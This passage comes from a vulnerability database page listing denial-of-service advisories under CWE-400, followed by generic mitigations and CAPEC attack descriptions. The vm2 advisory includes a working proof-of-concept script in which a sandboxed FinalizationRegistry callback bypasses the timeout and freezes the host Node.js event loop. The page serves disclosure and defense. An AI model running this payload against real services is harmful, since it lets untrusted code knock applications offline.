https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff",
  "id": "GHSA-r3v7-pc4g-7xp9",
  "modified": "2025-08-12T00:15:00Z",
  "published": "2025-08-12T00:15:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oakserver/oak"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers"
}

GHSA-R3XH-936H-7HQM

Vulnerability from github – Published: 2026-01-21 00:31 – Updated: 2026-01-21 00:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-21952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-20T22:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser).  Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-r3xh-936h-7hqm",
  "modified": "2026-01-21T00:31:43Z",
  "published": "2026-01-21T00:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21952"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R49J-4JPW-X35C

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A Denial of Service (DoS) vulnerability was discovered in the file upload feature of automatic1111/stable-diffusion-webui version 1.10.0. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. By sending a payload with an excessively large filename, the server becomes overwhelmed and unresponsive, leading to unavailability for legitimate users. This issue can be exploited without authentication, making it highly scalable and increasing the risk of exploitation.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-12074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A Denial of Service (DoS) vulnerability was discovered in the file upload feature of automatic1111/stable-diffusion-webui version 1.10.0. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. By sending a payload with an excessively large filename, the server becomes overwhelmed and unresponsive, leading to unavailability for legitimate users. This issue can be exploited without authentication, making it highly scalable and increasing the risk of exploitation.",
  "id": "GHSA-r49j-4jpw-x35c",
  "modified": "2025-03-20T12:32:42Z",
  "published": "2025-03-20T12:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12074"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/6b44bfc2-31a7-4fe9-86fb-072c90a23642"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R49J-6855-7MXX

Vulnerability from github – Published: 2025-10-21 21:33 – Updated: 2025-10-21 21:33
VLAI
Details

Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).

Severity
6.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-21T20:20:47Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel).   The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).",
  "id": "GHSA-r49j-6855-7mxx",
  "modified": "2025-10-21T21:33:42Z",
  "published": "2025-10-21T21:33:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53068"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R4CG-HHQ8-4362

Vulnerability from github – Published: 2022-05-11 00:00 – Updated: 2025-01-02 21:31
VLAI
Details

Windows WLAN AutoConfig Service Denial of Service Vulnerability.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Windows WLAN AutoConfig Service Denial of Service Vulnerability.",
  "id": "GHSA-r4cg-hhq8-4362",
  "modified": "2025-01-02T21:31:34Z",
  "published": "2022-05-11T00:00:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29121"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29121"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-29121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R4FX-V8HH-22MV

Vulnerability from github – Published: 2026-10-05 22:35 – Updated: 2026-10-05 22:35
VLAI
Summary
vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)
Details

Vulnerability Summary

vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned.

FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.

Affected Code & Version

  • Repository: patriksimek/vm2
  • Version tested: 3.11.6 (commit a5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the current main branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).
  • lib/vm.js, run() (~line 501) and doWithTimeout() (~line 105): the timeout option only wraps the single call to this._runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.
  • lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap, LocalProxy, LocalError, etc.) does not include FinalizationRegistry or WeakRef. Repo-wide grep for FinalizationRegistry|WeakRef returns zero matches in lib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.

Steps to Reproduce

Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.

  1. Clone and install:
   git clone https://github.com/patriksimek/vm2.git
   cd vm2 && npm install
  1. Save as poc_timeout_bypass.js in the repo root:
   const { VM } = require('./lib/main.js');

   const CONFIGURED_TIMEOUT_MS = 200;
   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });

   const t0 = Date.now();
   let runError = null;
   try {
     vm.run(`
       let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
     `);
   } catch (e) { runError = e.message; }
   const t1 = Date.now();
   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);

   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
   global.gc(); global.gc();

   const timerScheduledAt = Date.now();
   setTimeout(() => {
     const delay = Date.now() - timerScheduledAt;
     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
   }, 10);
  1. Run: node --expose-gc poc_timeout_bypass.js
  2. Observed output:
   vm.run() returned after 2 ms. Threw: null
   Host setTimeout(10ms) actually fired after 3000 ms
   Total wall time since vm.run() returned: 3029 ms
  1. Interpretation: run() returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after run() had returned and outside any timeout enforcement.
  2. typeof FinalizationRegistry and typeof WeakRef inside a fresh VM() both evaluate to "function" with no wrapping, confirming the surface is reachable by design, not by an incidental leak.

Fix Recommendation

Pick one or combine:

  1. Remove FinalizationRegistry and WeakRef from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock timeout promise. Delete them from the context in lib/setup-sandbox.js alongside the other hardening done there, mirroring how other dangerous globals are handled.
  2. If they must remain available, wrap FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via Script.runInContext with timeout again, or by tracking cumulative CPU time via process.hrtime/Isolate::TerminateExecution if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget run() call is today.
  3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe timeout as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.

any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces.

This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:35:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Vulnerability Summary\n \nvm2\u0027s `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` \u2192 `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned.\n \n`FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified \u2014 they are not present anywhere in `lib/setup-sandbox.js`\u0027s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point \u2014 determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) \u2014 the engine invokes the sandboxed cleanup callback directly. This invocation is **not** mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn\u0027t a new call to `VM#run()` at all \u2014 it\u0027s the GC\u0027s own native callback-invocation path.\n\n## Affected Code \u0026 Version\n \n- **Repository:** `patriksimek/vm2`\n- **Version tested:** `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) \u2014 the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).\n- **`lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105):** the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.\n- **`lib/setup-sandbox.js`, lines 1\u201314:** the module\u0027s captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling \u2014 they are exposed to sandboxed code as bare, fully-functional constructors.\n## Steps to Reproduce\n \nEnvironment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`.\n \n1. Clone and install:\n```\n   git clone https://github.com/patriksimek/vm2.git\n   cd vm2 \u0026\u0026 npm install\n```\n2. Save as `poc_timeout_bypass.js` in the repo root:\n```js\n   const { VM } = require(\u0027./lib/main.js\u0027);\n \n   const CONFIGURED_TIMEOUT_MS = 200;\n   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });\n \n   const t0 = Date.now();\n   let runError = null;\n   try {\n     vm.run(`\n       let target = {};\n       const registry = new FinalizationRegistry(() =\u003e {\n         const busyStart = Date.now();\n         while (Date.now() - busyStart \u003c 3000) { /* burn CPU, block event loop */ }\n       });\n       registry.register(target, \u0027held-value\u0027);\n       target = null; // drop only strong reference -\u003e GC-eligible\n     `);\n   } catch (e) { runError = e.message; }\n   const t1 = Date.now();\n   console.log(\u0027vm.run() returned after\u0027, t1 - t0, \u0027ms. Threw:\u0027, runError);\n \n   if (!global.gc) { console.log(\u0027Re-run with --expose-gc\u0027); process.exit(1); }\n   global.gc(); global.gc();\n \n   const timerScheduledAt = Date.now();\n   setTimeout(() =\u003e {\n     const delay = Date.now() - timerScheduledAt;\n     console.log(\u0027Host setTimeout(10ms) actually fired after\u0027, delay, \u0027ms\u0027);\n     console.log(\u0027Total wall time since vm.run() returned:\u0027, Date.now() - t1, \u0027ms\u0027);\n   }, 10);\n```\n3. Run: `node --expose-gc poc_timeout_bypass.js`\n4. **Observed output:**\n```\n   vm.run() returned after 2 ms. Threw: null\n   Host setTimeout(10ms) actually fired after 3000 ms\n   Total wall time since vm.run() returned: 3029 ms\n```\n5. **Interpretation:** `run()` returned in 2ms, well inside the configured 200ms timeout \u2014 vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop \u2014 not just the sandbox \u2014 was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement.\n6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `\"function\"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak.\n## Fix Recommendation\n \nPick one or combine:\n \n1. **Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default.** These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled.\n2. **If they must remain available**, wrap `FinalizationRegistry`\u0027s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today.\n3. **Document the gap explicitly** if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt.\n\n\nany application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker\u0027s loop runs \u2014 with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces.\n \nThis is a **timeout-enforcement bypass / uncontrolled resource consumption** issue, not (as currently demonstrated) a proxy/realm escape to host object access \u2014 sandboxed code stays within its own realm. See \"What this report does not claim\" below.",
  "id": "GHSA-r4fx-v8hh-22mv",
  "modified": "2026-10-05T22:35:04Z",
  "published": "2026-10-05T22:35:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-r4fx-v8hh-22mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fe2fcca2a1e693548993eccc624489dc4cb586b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-timeout-bypass-via-finalizationregistry"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list